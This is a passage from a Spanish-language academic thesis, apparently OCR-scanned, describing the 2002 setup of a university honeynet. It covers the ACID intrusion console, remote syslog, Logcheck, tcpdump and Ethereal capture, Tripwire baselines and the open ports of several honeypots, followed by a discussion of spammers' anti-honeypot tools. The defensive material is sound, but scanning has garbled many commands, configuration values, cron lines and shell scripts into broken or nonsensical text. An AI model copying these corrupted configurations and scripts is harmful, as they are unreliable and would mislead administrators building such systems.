Se descomprime y desempaqueta el archivo acid-0.9.6b23.tar.gz.
# tar -zxvf acid-0.9.6b23.tar.gz

Se mueve el directorio acid al directorio HOME del servidor web
Jvar/www/htdocs/.

# mv acid/ /var/www/htdocs/

Se edita el archivo de configuracion acid conf.php.
# vi /var/www/htdocs/acid/acid_conf.php

Se modifica la siguiente linea:

$DBlib_path = "*;

Por esta otra:

$DBlib_path = "/var/www/htdocs/adodb";

En la cual se indica el directorio donde se instalara adodb, que es la libreria de
abstraccion de base de datos.

$DBtype = "mysql";

Por esta otra:

$DBtype = "postgres";

En la cual se indica el manejador de bases de datos en este caso es postgresql.
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$alert_dbname = "snort_log";
$alert_host = "localhost";
$alert_port =
$alert_user = "root";
$alert_password = "mypassword";

Por estas otras:

$alert_dbname = "spnort";
$alert_host = My
$alert_port Ll
$alert_user "snort";
$alert_password LY

[ R |

En las cuales se indica el nombre de la base de datos snort, asi como el usuario
de la misma: snort, para generar las alertas.

/* Archive DB connection parameters =/

$archive_dbname = "snort_archive";
$archive_host = "localhost";
$archive_port = s
$archive_user = "root";

$archive_password = "mypassword";

Por estas otras:

/* Archive DB connection parameters */

$archive_dbname = "“snort";

$archive_host = MM

$archive_port S,

$archive_user = "snort";

$archive_password = "";

# cp /usr/local/share/doc/php4/php.ini-dist /var/www/conf/php.ini
# pkg_add php4-gd-4.3.3-no_x11.tgz

| Enable this module in php.ini using the following command:

| /usr/local/sbin/phpxs -a gd

# /usr/local/sbin/phpxs -a gd
Activating extension : gd

| Enable this module in php.ini using the following command:

| /usr/local/sbin/phpxs -a pgsql

# /usr/local/sbin/phpxs -a pgsql
Activating extension : pgsql

En las cuales se indica el nombre de la base de datos: snort. asi como el usuario
de la misma: snort, para generar los archivos.
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e Libreria para la abstraccién de bases de datos - AdoDB

Se descomprime y desempaqueta el archivo adodb/20.tgz.

# tar -zxvf adodb420.tgz

Se mueve el directorio adodb/ hacia el directorio HOME del servidor web
Jvar/www/htdocs/.

# mv adodb/ /var/www/htdocs/

Se edita el archivo de configuracién adodb.inc.php.

# vi /var/www/htdocs/adodb/adodb.inc.php
Se agrega la siguiente linea al inicio del archivo:

if (!defined(’ADODB_DIR')) define(’ADODB_DIR',dirname(/var/wwu/htdocs/adodb));

define(’ADODB_DIR',"/var/www/htdocs/adodb") ;

Se modifican la siguientes lineas:

define(’ADODB_FETCH_DEFAULT’,0) ;"M
define(’ADODB_FETCH_NUM’,1) ;"M
define(’ADODB_FETCH_ASSOC’,2) ;™M
define(’ADODB_FETCH_BOTH’,3) ;"M

M

Por estas otras :

define(’ADODB_FETCH_DEFAULT',0) ;"M
define(’ADODB_FETCH_NUM’,1) ;"M
define(’ADODB_FETCH_ASSOC’,2);"M
define(’ADODB_FETCH_BOTH',3);"M
define(’ADODB_DIR’,"/var/www/htdocs/adodb");
M

En las cuales se especifica el directorio /var/www/htdocs/adodb donde se encuen-
tra adodb.
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En la figura 3.6 se prueba la instalacion de Consola de Andlisis de Bases de
Datos de Intrusiones (ACID).

http://127.0.0.1/acid/acid_main.php

&ﬂa SIS Console for Intrusion

The underlying database snort@ appears to be incompletefinvalid

The database version is valid, but the ACID DB structure {table: acid_ag)
is not present. Use the Satup page to configure and optimize the DB,

Figura 3.6: Estructura de la Base de Datos ACID DB no valida

En la figura 3.7, seleccionar Setup para agregar otras tablas a la base de datos.

Search: | “AG _Pﬂglni&‘nn.ﬁﬂg_ :
[ Beck]
[ Create ACDAG |

ACID Adds tables to extend the
tables Snort DB 0 support the
ACID functionality

Search (Optional) Adds indexesto  Unable to assess the indexes on

Indexes  the Snort DB to optimize the the underlying database
speed of the queries

[Loaded in 2 seconds]

Roman Danyliv: -

Figura 3.7: Agregacion de tablas a la estructura de la Base de Datos ACID DB
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Como se ve en la figura 3.8 las tres tablas necesarias para la version de ACID
se agregaron satisfactoriamente.

Home

Search AL Malitensncs

[Back]

Successtuly created ‘acin_ag'
Succasshully created ‘ecid_ag. wer
Sutyesshully crestad 'sod ip_cachs'

Successiully crealad srd evant

Operation | Description

ACID tables Addstables w extendthe Snot D810 DONE
support the ACID functionaity

Search Unable 1o assess the INCexes
(Cptional) Adds indexes to the Snon pn el i ;
Indexes DE to optimize the ad of i i unierhang Jelabace

The undertying Alent DB 15 configured for usage wath ACID

Additional DB permissions

I arder ta support Alant purging (the selactive atiity to parmananthy deleta alars from
the database) and DNSAwhois lockup caching, the DB user “snor” must have the
DELETE and UPDATE prmvilege on the database “snomd™

Goto the Maln page 1o use the spphcation

[Loaded in 6 seconds]

& Mmman Dumyliee 5

Figura 3.8: Creacién de tablas en la Base de Datos ACID DB exitosa

Finalmente se observa en la siguiente figura el Sistema Detector de Intrusos se
estd ejecutando.

Analysis Console for Intrusion Databases

Antedd Bl T aNanitn) n s Al Cocki

Cueried on Thy May 23, X002 1048 21
Database: 500t [schema verslon: 104)
Time window: [J002.0523 11 16 23061 [2002-05-23 14 48 15.05)

Sensors; | Traffc Profils by Protocol
Unique Alerte: 105 | 5 categories | TCR 5%}
Total Humber of &lerts: 1013
» Source P addresses 5 LEr By
« Dest.IP addresses 50
+ Unvgue P inks 41 ICHP (374
= Source Poits o4
s TCP(E ._; e (6] Fornscan Trefic (140
» Dest Ponts 1 [ ]
o TOP (&) LDF(4)
a Eonteh
» Gragls flert slats [ eRTaRal N ALY
- Smapshot

» Mostrecent Alats: any protocol, TOF WGP G » Mot frequernd £ Sierts
» Todey's sherts uniqle, listing P dr

Last M Hourt. glans aeskipt "
Lant T2 Hours: alems urigue_lis
« Mostrecent 5 Uil S

I iy » Mot Frequent Sowrce Pos aivy  TOP  LIDP
are » ot Freguent Destnason Pons any  TCP  UDP

» WSSt frequant 15 addrosses aciince. aertination
« Last Source Podis: any . TTP , LOP
o Loy Destinaton Ports, aryy  TCP  LIDE

» Giaph 3k detection Hime

» Alert Group [AG) mensiace
= Application cschir and stz

[Loaded in 44 ssconda)]
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» Servidor de syslog remoto

El servidor de Syslog remoto serd el encargado de recibir todos los eventos de las
bitdacoras de los honeypots.

Es necesario configurar el demonio syslogd indicindole que recibird paquetes, para
ello es necesario reiniciar el demonio syslogd.

En el caso de OpenBSD se realiza ejecutando el siguiente comando:
syslogd -u
El archivo de configuracion de syslog es: /etc/syslog.conf

/etc/syslog.conf

# $0penBSD: syslog.conf,v 1.12 2001/08/23 13:27:52 camield Exp $

#

*.err;kern.debug;auth.notice;authpriv.none;mail.crit /dev/console
*.notice;auth,authpriv,cron,ftp,kern,lpr,mail,user.none /var/log/messages
kern.debug,user.info,syslog.info /var/log/messages
auth.info {var/log/authlog
authpriv.debug /var/log/secure
cron.info /var/cron/log
daemen, info /var/log/daemon
ftp.info /var/log/xferlog
1pr,debug {var/log/lpd-errs
mail.info /var/log/maillog
#uucp.info /var/log/uucp
*.err root
*.notice;auth.debug root

*.alert root

*. emerg *

# Uncomment to log to a central host named "loghost". You need to run
# syslogd with the -u option on the remote host if you are using this.

# (This is also required to log info from things like routers and

# ISDN-equipment). If you run -u, you are vulnerable to syslog bombing,
# and should consider blocking external syslog packets

#» notice;auth,authpriv,cron, ftp,kern,lpr,mail,user.none @loghost
#kern.debug,user.info,syslog.info @loghost
#auth.info,authpriv.debug,daemon. info @loghost

# Uncomment to log messages from sudo(8) and chat(8) to their own
# respective log files. Matches are done based on the program name
# Program-specific logs:

#!sudo
#r .. /var/log/sudo
#!chat
H#a, . /var/log/chat

Para que sea habilitado el servicio de syslog remoto seré necesario modificar la siguiente
linea en el archivo de inicio de OpenBSD /etc/re.conf.
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$/etc/rc.conf

#!/bin/sh -
#
# $0penBSD: rc.conf,v 1.72 2002/01/08 12:04:43 tholo Exp $

# set these to "ND" to turn them off. otherwise, they’re used as flags

syslogd_flags="-u" # add more flags, ie. "-u -a /chroot/dev/log"

Con esto se indica al sistema que sera servidor de syslog remoto, por lo cual
recibird eventos de los sistemas honeypots a través del puerto 514 del protocolo udp.

Para verificar que el sistema reciba correctamente los mensajes de bitdcoras se puede
examinar la bitdcora /var/log/messages.

$ more /var/log/messages

Sep 10 22:00:01 octli syslogd: restart

Sep 11 00:00:00 honeypotl.honeyred.unam.mx syslogd: restart

Sep 11 23:00:01 octli syslogd: restart

Sep 12 00:00:00 honeypotl.honeyred.unam.mx syslogd: restart

Sep 10 17:00:01 octli newsyslog[27156]: logfile turned over

Sep 10 21:25:37 octli su: user to root on /dev/ttypl

Sep 12 17:30:53 honeypotl.honeyred.unam.mx sshd[15324]: input_userauth_request:
illegal user user

Sep 12 17:30:53 honeypotl.honeyred.unam.mx sshd[15324]: Failed none for illegal user
user from xxx.xxx.xxx.110 port 1826 ssh2

Sep 12 17:33:41 honeypotl.honeyred.unam.mx su: [ID 366847 auth.notice] ’su root’
succeeded for user on /dev/pts/5

Como se puede apreciar se tienen varios registros de diferentes honeypots, esto puede
complicar un poco las labores de administracion de la honeynet, para ayudar a opti-
mizar un poco la revisién de bitdcoras se utilizard Logcheck'?

» Logcheck

# pkg_add logcheck-1.1.1.tgz

The logcheck-1.1.1 configuration files have been installed at
/etc/logcheck. Please view these files and change the
configuration to meet your needs.

Currently logcheck-1.1.1 will check the following files:
/var/log/messages

/var/log/maillog

/var/log/authlog

Edit /etc/logcheck/logcheck.sh if you want to add more files.
Be sure to configure your crontab as indicated by

/usr/local/share/doc/logcheck/INSTALL so that logcheck-1.1.1
is run regularly.

12 Logcheck es una utilerfa que permite checar las bitdcoras en busca de sucesos extranos y envird un correo
electranico al administrador en caso de encontrar algo anormal.
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Los archivos de Logcheck han sido colocados en el directorio /ete/logcheck.

Para ejecutar Logcheck, serd necesario configurar el siguiente archivo de
Jetc/logeheck/logeheck.sh y ejecutar el script: logcheck. sh

# logcheck.sh

Con esto logcheck verificara posibles irregularidades dentro de las bitdcoras v noti-
ficard por correo electrénico al administrador del sistema.

> 33 user@octli.su Fri Sep 13 20:34 20/1177 octli 09/13/02:20.31 system check

En el contenido del correo se notificard sobre sucesos inusuales que tengan las bitdcoras.

From user@remotesyslog.honeyred.unam.mx Fri Sep 13 20:39:26 2002
Date: Fri, 13 Sep 2002 20:36:41 -0500 (CDT)

From: User <user@octli.XX.unam.mx>

To: root@remotesyslog.honeyred.unam.mx

Subject: octli 09/13/02:20.36 system check

Unusual System Events

Sep 13 20:34:33 octli sm-mta[9243]: g8E1VmwV009243: from=<user@octli.XXX.unam.mx>,
size=894, class=0, nrcpts=1, msgid=<200209140131.g8E1V19g012083@remotesyslog.honeyred.
unam.mx>, proto=ESMTP, daemon=MTA, relay=localhost.honeyred.unam.mx [127.0.0.1]

Sep 13 20:34:33 octli sm-mta[26607]: gBE1VmwV009243: to=<root@remotesyslog.honeyred.
unam.mx>, ctladdr=<jgervaci@remotesyslog.honeyred.unam.mx> (1000/1000), delay=00:00:00,
xdelay=00:00:00, mailer=local, pri=30515, dsn=2.0.0, stat=Sent

Para programar esta labor, se realizara el sigulente script para que se verifiquen las
bitdcoras del servidor de syslog remoto cada 5 minutos.

cron-logcheck.cron

0,5,10,15,20,25,30,35,40,45,50,55 # * = = /home/user/logcheck.sh

logcheck.sh

/etc/logcheck/./logcheck.sh

3

Unicamente se ejecuta un cron'® con el comando crontab.

# crontab -e cron-logcheck.cron

# more cron-logcheck.cron
/etc/logcheck/./logcheck.sh

B Calendarizador de tareas
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= Sniffer

El Sniffer serd el encargado de registrar todo el trafico de red que pase a través de la
honeynet, el objetivo de colocar un sniffer es ayudar a analizar el trdfico que circule
por la honeynet, cabe senalar que en esta red no hay tréfico de produccién, por lo cual
todo trafico es sospechoso.

Se colocan dos herramientas la primera Ethereal' y la segunda Tepdump.

o Tcpdump

Este es una utileria que viene instalada de manera estandar en la distribucion de
OpenBSD, es un analizador de tramas que circulan por un segmento de red. Es
capaz de analizar protocolos tales como X11, radus, smb, etc. Puede ser utilizado
para extraer las cabeceras de los paquetes de interfase de red que concuerden con
una expresion dada.

Para ejecutar tcpdump se ejecutara el siguiente comando indicando la interfaz en
la cual escuchard, asi como el archivo donde almacenard todo el trafico de red.

/usr/sbin/tcpdump -n -i rll -s 2500 -w /home/user/HONEYNET.dump
Para facilitar las tareas de administraciéon del los archivos de registro del trifico

de red serd necesario ejecutar el calendarizador de tareas (eron) para ejecutar un
nuevo registro diariamente, esto se hace de la siguiente manera:

cron-tcpdump.cron
01 % * = = /home/user/tcpdump.sh
tcpdump.sh

#! /usr/bin/csh

set dia=’datelcut -d'’' *¢ -£3’
set mes='datelcut -d'' ‘' -£3’
set anio=’date|cut -4'’ ' -{8’
sat proceso_ant=’ps -aux|grep tcpdumplcut -d'! [N -f6?

/usr/sbin/tcpdump -n -i rli -s 2500 -w /home/jgervaci/HONEYNET$dia$mes$anio.dump
kill -9 §proceso_ant

Se procede a ejecutar el cron:
# crontab -e cron-tcpdump.cron

# more cron-tcpdump.cron
/home/user/tcpdump.sh

Y Ethereal es una herramienta que permite capturar el trafico de una red, para mayor informacién consultar:
hitp:/ /wunw.ethereal.com
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e [thereal

Es un poderoso analizador de protocolos de red, cuenta con una libreria
que a diferencia de Tepdump provee de un interfaz gréafica (ver figura 3.9),
también posee la posibilidad de ver la reconstruccion del fluido de una sesion TCP.

in Fllisre s Helwork Anahyor

File Edt Capture Display Took Help
.| Time Source Destination Protocal |infe
2 0.000901 00:40:95:42: 2F:9e FRfFcFFFr-FRLTr L who has 10.0.0.27 Tell 10.0,0.
3 0.000555 00:00:21: 20: 80105 00:40:85:42:2F: 30 i 10.0.0.2 15 at 00:00:21:20:a0:0
4 0.001509 10.0.0.5 10.0.0.2 NFS V2 GETATTH Reply XID Oxee3c53d6
5 D.6466E7 10.0.0.2 10.0.0.5 NES V2 LooKUP Call XID Owef3c53de
6 0.647631 10.0.0.5 10.0.0.2 NFS V2 LODKUP Reply XID Owef3c59d6
2 0.650113 10.0.0.2 10.0.0.5 NES V2 LOGKUP Call ¥ID Oxf03c53dE
8 0.651290 10.0.0.5 10.0.0.2 NFS N2 LOOKUP Reply XID 0xF09c59d6
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Figura 3.9: Analizador de Red Ethereal

s Honeypots

Los Honeypots cuentan con varias plataformas que fueron elegidas por sus crecientes
incidentes dentro de las redes de la Universidad, los sistemas operativos elegidos son:
Windows 2000 Advanced Server, Linux Red Hat 6.2, Sun Solaris 8 Intel Edition y
FreeBSD 4.5. Se planea incorporar mas sistemas conforme la situaciéon lo permita.

Para todos estos sistemas se realizé una instalacién estandar, es decir son instalados
con sus aplicaciones y vulnerabilidades no se realiza ninguna modificacion para
hacerlos mds o menos inseguros. Todos tienen habilitado el servicio de Web, con lo
cual cuentan con una pdgina Web para hacerlos parecer servidores comunes.

A continuacion se listan cada uno de los procedimientos a los que fueron sometidos
antes de incorporarse a la honeynet:

Andlisis de Amenazas de Seguridad en Computo



3.2 Implementacion Honeynet-DSC 130

e Honeypot Windows 2000 Advanced Server

El Honeypot con sistema operativo Windows 2000 Advanced Server fue instalado
de manera estandar y present6 los puertos abiertos mostrados a continuacion:

Puerto Estado | Servicio
7/tep Abierto | echo

9/tep Abierto | discard
13/tecp | Abierto | daytime
17/tep Abierto | qotd
19/tcp Abierto | chargen

21 /tcp Abierto | ftp

25/tep Abierto | smtp

42 /tep Abierto | nameserver
53/tcp Abierto | domain
80/tcp Abierto | http
119/tep | Abierto | nntp
135/tcp | Abierto | loc-srv
139/tep | Abierto | netbos-ssn
443 /tep | Abierto | https
445/tcp | Abierto | microsoft-ds
515/tep | Abierto | printer
548/tep | Abierto | afpovertep
563/tcp | Abierto | snews
1025/tep | Abierto | NFS-or-IIS
1059/tep | Abierto | nimreg
3372/tep | Abierto | msdtce
3389/tep | Abierto | ms-term-serv
6666/tcp | Abierto | irc-serv
7007 /tep | Abierto | afs3-bos
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e Honeypot Linux Red Hat 6.2

El Honeypot Linux Red Hat 6.2 fue instalado de manera estandar y presenté los
puertos abiertos mostrados a continuacién:

Puerto Estado | Servicio
21/tep Abierto | ftp

23 /tep | Abierto | telnet
25/tcp Abierto | smtp
79/tep Abierto | finger
80/tcp Abierto | http

98 /tcp Abierto | linuxconf
111/tep | Abierto | sunrpe
113/tep | Abierto | auth
513/tcp | Abierto | login
514/tcp | Abierto | shell
515/tep | Abierto | printer
931/tcp | Abierto | unknown
1024/tcp | Abierto | kdm
6000/tep | Abierto | X11

o Syslog Remoto

Es necesario configurar el syslog a manera que permita registrar los archivos
de bitdcoras en el servidor de syslog remoto, para esto se configura el siguiente
archivo /ete/syslog.conf
[sidral$ cat /etc/syslog.conf

# Log all kernel messages to the console,
# Logging much else clutters up the screen.

L @remotesyslog.
honeyred.unam.mx

#kern.» /dev/console
##.info;mail.none;authpriv.none /var/log/messages

# The authpriv file has restricted access.
#authpriv.» /var/log/secure

# Log all the mail messages in one place.
#mail . * /var/log/maillog

# Everybody gets emergency messages, plus log them on another
# machine.
#+* . emerg *

# Save mail and news errors of level err and higher in a
# special file.
#uucp,news.crit /var/log/spooler

# Save boot messages also to boot.log
#local7.*

Como se puede apreciar todas las bitdcoras son redireccionadas al servidor
remoto, una vez hecho esto se reinicia el demonio de syslogd.
kill ~HUP 167
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o Tripwire

Tripuire ayudard a controlar la integridad del sistema de archivos. Cabe
recordar que no se debera realizar la instalacién completa de tripwire, ya que
los intrusos podréan darse cuenta de su instalacion, para ello serd necesario
solo ejecutar tripuire para la creacion de la base de datos de archivos.

Se descomprime el archivo tar.gz. Es necesario especificar la ruta donde en-
contraran los archivos de configuracién asi como la ruta donde posteriormente
buscaré la base de datos para verificar su integridad. Esto se hace en el archi-
vo: include/config.h, definiendo las variables CONFIG PATH y DATABASE
PATH.

include/config.h

#define CONFIG_PATH "/home/user/tw_ASR_1.3.1_src/configs"
#define DATABASE_PATH " /home/user"

Una vez hecho lo anterior se procede a compilar tripwire.

$ make
(cd util; make CC=gcc CFLAGS="-0
" \
LDFLAGS="~-1d1 " CPP="gcc -E
" SHELL=/bin/sh all)
make[1]: Entering directory ‘/home/user/tw_ASR_1.3.1_src/util’
make[1]: Nothing to be done for ‘all’.
make[1]: Leaving directory ‘/home/user/tw_ASR_1.3.1_src/util’

(cd src; make CC=gcc CFLAGS="-0
" LIBS="" \
LDFLAGS="-1d1 " CPP="gcc =E,

" SHELL=/bin/sh \
YACC="yacc" LEX="lex" all)
make[1]: Entering directory ‘/home/user/tw_ASR_1.3.1_src/src’
make[1]: Nothing to be done for ‘all’.
make[1]: Leaving directory ‘/home/user/tw_ASR_1.3.1_sre/src’

Después se realiza una prueba.

$ make test
(ed util; make CC=gcc CFLAGS="-0
L
LDFLAGS="-1d1 " CPP="gcc -E
" SHELL=/bin/sh all)
make[1]: Entering directory ‘/home/user/tw_ASR_1.3.1_src/util’
make[1]: Nothing to be done for ‘all’.
make[1]: Leaving directory ‘/home/user/tw_ASR_1.3.1_src/util’

=== testl.sh: END ===
removing: ./tests/tw.db_TEST.@
removing: @tw,config

make[1]: Leaving directory ‘/home/user/tw_ASR_1.3.1_src/tests’

Finalmente se procede a crear la base de datos del sistema de archivos del
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honeypot esto se hace con el comando tripwire -initialize, cabe recordar que
debe ser ejecutado por el usuario root.

$ su
Password:

[root@sidra tw_ASR_1.3,1_srcl# src/tripwire -initialize
Tripwire(tm) ASR (Academic Source Release) 1.3.1

File Integrity Assessment Software

(c) 1992, Purdue Research Foundation, (c) 1997, 1999 Tripwire
Security Systems, Inc. All Rights Reserved. Use Restricted to
Authorized Licensees.

### Phase 1: Reading configuration file

### Phase 2: Generating file list

### Phase 3: Creating file information database

#it

### Warning:  Database file placed in ,/databases/tw.db_sidra.
L2123

#H# Make sure to move this file and the configuration
#H# to secure media!

#4#

#i# (Tripwire expects to find 1t in ‘/home/user’.)

La base de datos creada llevara el siguiente formato tw.db Nombre del host
para este caso tw.db sidra. una vez creada se procederd a almacenarla en otro
servidor ajeno a la honeynet ya que serda de gran utilidad cuando se realice
un analisis forense de un honeypot comprometido.
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e Honeypot Sun Solaris 8 Intel Edition

Se instala de manera estdndar manteniendo los puertos abiertos mostrados en el
cuadro siguiente:

Puerto Estado | Servicio

7/tep Abierto | echo

9/tcp Abierto | discard

13/tep Abierto | daytime

19/tep Abierto | chargen

21/tep Abierto | ftp

23/tep Abierto | telnet

25/tep Abierto | smtp

37/tep Abierto | time

79/tcp Abierto | finger

80/tep Abierto | http

512/tep Abierto | sunrpc

513/tep Abierto | login

514/tcp | Abierto | shell

515/tep Abierto | printer

540/tep Abierto | uucp

587/tep Abierto | submission
898/tcp | Abierto | unknown
4045/tcp | Abierto | lockd

6000/tcp | Abierto | X11

6112/tcp | Abierto | dtspe

7100/tcp | Abierto | font-service
32771 /tcp | Abierto | sometimes-rpch
32772/tep | Abierto | sometimes-rpe7
32773 /tep | Abierto | sometimes-rpc9
32774 /tcp | Abierto | sometimes-rpell
32775/tcp | Abierto | sometimes-rpel3

o Syslog

Se procede a configurar el syslog de manera que redireccione los eventos de
las bitdcoras hacia el servidor de syslog remoto.

/etc/syslog.conf

#ident "@(#)syslog.conf 1.5 98/12/14 SMI"  /#+ Sun0S 5.0 =*/
: Copyright (c) 1991-1998 by Sun Microsystems, Inc.

# All rights reserved.

: syslog configuration file.

: This file is processed by m4 so be careful to quote (‘') names
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# that match m4 reserved words. Also, within ifdef’s, arguments
# containing commas must be quoted.

#

# . err;kern.notice;auth.notice @remotesyslog.honeyred.
unam.mx

#* err;kern.notice;auth.notice /dev/sysmsg
».err;kern.notice;auth.notice @remotesyslog.honeyred.
unam, mx

#=.err;kern.debug;daemon.notice;mail.crit /var/adm/messages
#*.alert;kern.err;daemon.err operator

#=.alert root

#* emerg *

*. emerg @remotesyslog.honeyred.
unam.mx

# 1f a non-loghost machine chooses to have authentication messages
# sent to the loghost machine, un-comment out the following line:

auth.notice ifdef (‘LOGHOST', /var/log/authlog,
Q@remotesyslog.honeyred.unam.mx)

mail.debug ifdef (‘LOGHOST', /var/log/syslog,
@remotesyslog.honeyred.unam.mx)

#

# non-loghost machines will use the following lines to cause "user"
# log messages to be logged locally.

#
ifdef (‘LOGHOST’, ,
user.err /dev/sysmsg
user.err /var/adm/messages
user.alert ‘root, operator’
user.emerg *
)
De esta manera queda registrando las bitdcoras en el servidor de syslog
remoto.
o Tripwire

La instalacion de tripwire es similar a la descrita anteriormente para el
Honeypot Linuz Red Hat 6.2. La base de datos para el Honeypot Sun So-
laris 8 Intel Edition es tw.db ponche.
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e Honeypot FreeBSD 4.5

Se instala de manera estandar manteniendo los puertos abiertos mostrados en el
siguiente cuadro:

Puerto | Estado | Servicio
22/tecp | Abierto | ssh

25/tecp | Abierto | smtp
80/tep Abierto | http
587/tecp | Abierto | submission
6000/tcp | Abierto | X11

o Syslog

Se procede a redireccionar los eventos de las bitdcoras del sistema hacia el

servidor de syslog remoto.
# $FreeBSD: src/etc/syslog.conf,v 1.13.2.2 2001/02/26 09:26:11 phk Exp $

#

# Spaces are NOT valid field separators in this file.

# Consult the syslog.conf(5) manpage.

*.» @remotesyslog.honeyred.
unam.mx

#*.err;kern.debug;auth.notice;mail.crit /dev/console

#= .notice;kern.debug;lpr.info;mail.crit;nevs.err /var/log/messages
#security.* /var/log/security
#mail.info /var/log/mailleg
#lpr.info /var/log/lpd-errs
#cron. = /var/log/cron

#= . err root

#= .notice;news.err root

#*. alert root

#+* emerg *

# uncomment this to log all writes to /dev/console to /var/log/console.log
#console.info /var/log/conscle.log

# uncomment this to enable logging of all log messages to /var/log/all.log
#eo» /var/log/all.log

# uncomment this to enable logging to a remote loghost named loghost

#e @loghost

# uncomment these if you’re running inn

# news.crit
# news.err
# news.notice
#lstartslip

/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice

#ew /var/log/slip.log

#1ppp

#* % /var/log/ppp.log
o Tripwire

La instalacién de tripwire es similar a la descrita anteriormente para el
Honeypot Linuz Red Hat 6.2. La base de datos para el Honeypot Sun So-
laris 8 Intel Edition es tw.db perada.

Con todos estos procedimientos finalmente la Honeynet-DSC queda configurada y
estd lista para ponerse en marcha. Antes de hacer esto se verifica que no puedan realizarse
ataques desde los honeypots ya que si algiin ataque utiliza uno de los pocos puertos
permitidos de salida, algtin honeypot comprometido podria entonces realizar algiin tipo de
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escaneos a otros sistemas que no estén dentro de la honeynet.

La Honeynet-DSC fué puesta en marcha el 6 de Septiembre de 2002.

3.3. Conclusiones

Para disenar e impementar cualquier tecnologia honeypot primero se debe analizar que
es lo que se desea estudiar o detectar, las honeynets proporcionan una plataforma para es
estudio de la amenazas, pero una mala configuracion, falta de actualizacion de componentes
de la misma o descuido por falta de administracion pueden convertirlas en un arma de doble
filo, y el resultado podria ser una epidemia de ataques a otras redes. Es por eso que al
disenarla se deben considerar muchos factores, estar al tanto de estos, analizar cada una de
las aplicaciones que estaran involucradas y mantenerlas actualizadas.
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Capitulo 4

Retos y Obstaculos

Por cerca de 18 meses se vio un crecimiento tremendo de las tecnologias Honeypot.
Algunas soluciones de Software Libre como Honeyd vy Honeynets, hasta algunas comerciales
como KF Sensor ya estan disponibles. Pero como con cualquier nueva tecnologia relativa,
se enfrenta a muchos retos y problemas. Al identificar estos problemas, se puede esperar
que los honeypots sean una tecnologia mds fuerte en el futuro. Los problemas a los que se
enfrentan estas tecnologias son la identificacion de Honeypots, explotacion y compromiso de
Honeypots, se crean nuevas organizaciones que se oponen a los ideales de esta tecnologia.

4.1. Tecnologia Anti-Honeypot

Spammers continuamente escanean Internet en busca de prozy relays abiertos; para uti-
lizar estos relays abiertos, pueden ocultar su direccién IP original y permanecer anénimos.
Sin embargo, cuando un spammer viene a través de un servicio honeypot, el honeypot puede
coleccionar valores.

La informacién sobre la identidad de los spammers ayuda a desenmascararlos.

En respuesta a la amenaza que los honeypots representan para los
spammers, la primer tecnologia anti-honeypot comercial ha surgido: Honeypot Hunter de
Send-Safe' intenta detectar proxys seguros para utilizarlos con herramientas de envio de
e-mail. Estos sistemas de deteccion de honeypots, en asociacion con otras herramientas emer-
gentes de spam, sugieren tres importantes puntos:

= Los honeypots son afectados por los spammers.
» La tecnologia honeypot actual es detectable.

= Mids sistemas identificadores de honeypots estéan surgiendo

Yhttp://www.send-safe.com
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La habilidad de detectar un honeypot no es para recortar los limites de los spammers,
otros grupos maliciosos o hostiles podrian beneficiarse de esfuerzos similares de identificacién
de honeypots, se necesita improvisacién actualmente en las tecnologfas honeypot.

4.1.1. Servicios Basicos de un Honeypot

Los honeypots son disenados para asemejarse a sistemas validos. Como se ha discutido an-
teriormente utilizan este disfraz para recolectar informacién sobre los intrusos y sus métodos.

Para intentar ser un objetivo, los honeypots hacen uso de una variedad de servicios
aparentemente vulnerables. Aunque la complejidad de los servicios de los honeypots varia
dramaticamente, estos generalmente se encuentran dentro de 4 tipos: minimo, restringido,
simulado y completo. De baja complejidad a alta.

Servidores minimos proporcionan un puerto de servicio abierto.

Servidores restringidos proporcionan interacciones basicas.

servidores simulados proporcionan interacciones complejas.

Servidores completos proporcionan soporte funcional completo.

Algunos servidores minimos responderan a conexiones basicas, pero estos usualmente no
realizan algo mds detallado. Como un ejemplo de un servicio minimo es el servidor SMTP
Back Officer Friendly (BOF) este honeypot proporciona servicios y al recibir una conexion
simplemente se desconecta con el mensaje 503 Service Unavailable.

Agregando una cantidad menor de importancia de interaccién a un servidor minimo, un
servidor restringido puede aparentar funcionalidad completa, aunque no hay autorizacion
disponible. El servicio Telnet de BOF por ejemplo, solicita un usuario y una contrasena,
pero no existe un mecanismo de validacién. Niels Provos y sus colegas tienen una
pagina web del desarrollo de su proyecto honeyd? el cual proporciona una serie de scripts
restrictivos, incluyendo SMTP y un simple Prozy Web.

Un servicio simulado que aparenta ser un servidor de trabajo completo, pero en realidad,
solo registra las acciones en vez de la ejecucion externa, Simulando servidores esperando
logros y solicitudes y generando mensajes de respuesta y mensajes de error buenos. Ejemplos
de servidores simulados incluyen scripts que emulan servidores completos SMTP y Servidor

Web IIS de Microsoft.

En contraste con estos pseudo servicios, los servicios honeypot son raros. Estos no
tnicamente manejan solicitudes, también permiten entradas maliciosas con una interaccién
completa e incluso comprometer el sistema simulado. Muchos de los honeypots completos

2http://www.citi.umich.edu/u/provos/honeyd/
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también permiten conexiones externas limitadas, las cuales hacen que los servicios aparenten
funcionalidad completa mientras previenen que este tome parte de un ataque de Denegacion
de Servicio (DoS).

Los intrusos especializados en el robo y venta de nimeros de tarjeta de crédito ilegales,
pueden hackear multiples servidores prozy con relay abierto, la mayoria de las herramientas
spam tnicamente soportan hacer relay a través de un prozy abierto. Si el honeypot actia co-
mo un prozy, entonces la direccin IP del servidor del spammer sera conocida por el honeypot.

4.1.2. Defensa de los Spammers.

Los desarrolladores de spam son generalmente reactivos, no proactivos; ellos tinicamente
cambian sus herramientas cuando estas herramientas se vuelven inefectivas. Por ejemplo,
una de las primeras tecnologias para prevenir el spam es utilizando filtros que resuman
cada contenido de mensaje de e-mail dentro de un encabezado. Encabezados repetidos
denotan mensajes de contenido idénticos, esto es, un bulto de correo. Para contar el hash
del sistema, los desarrolladores de spam crean hash buster cadenas tunicas que generan
diferentes valores de hash. similarmente, mas herramientas de bulto de correo utilizan
métodos de codificacién anti-Bayesian, como son palabras al azar, sentencias o parrafos
para pasar los filtros Bayesian.

La herramienta Send-Safe hace una coleccién extensiva de herramientas de publicidad
a granel. Este anuncio publicitario a granel es popular por generar spam de e-mail, y
este escaner de prory puede buscar multiples servidores prozy abiertos para obscurecer la
identificacién de un spammer; estas otras herramientas incluyen un verificador de e-mail v
una herramienta para generar bultos de mensajes instantaneos.

Send safe es una de las tltimas herramientas. Honeypot Hunter, sugiere que los spammers
estén enterados ya que necesitan identificar los honeypots. Honeypot Hunter desarrolla
un efecto negativo implicado en las actividades de los honeypots en la descripcion de su
producto http://www.send-safe.com/honeypot-hunter.php.

Send-safe Honeypot Hunter es una herramienta disenada para verificar listas de HTTPS
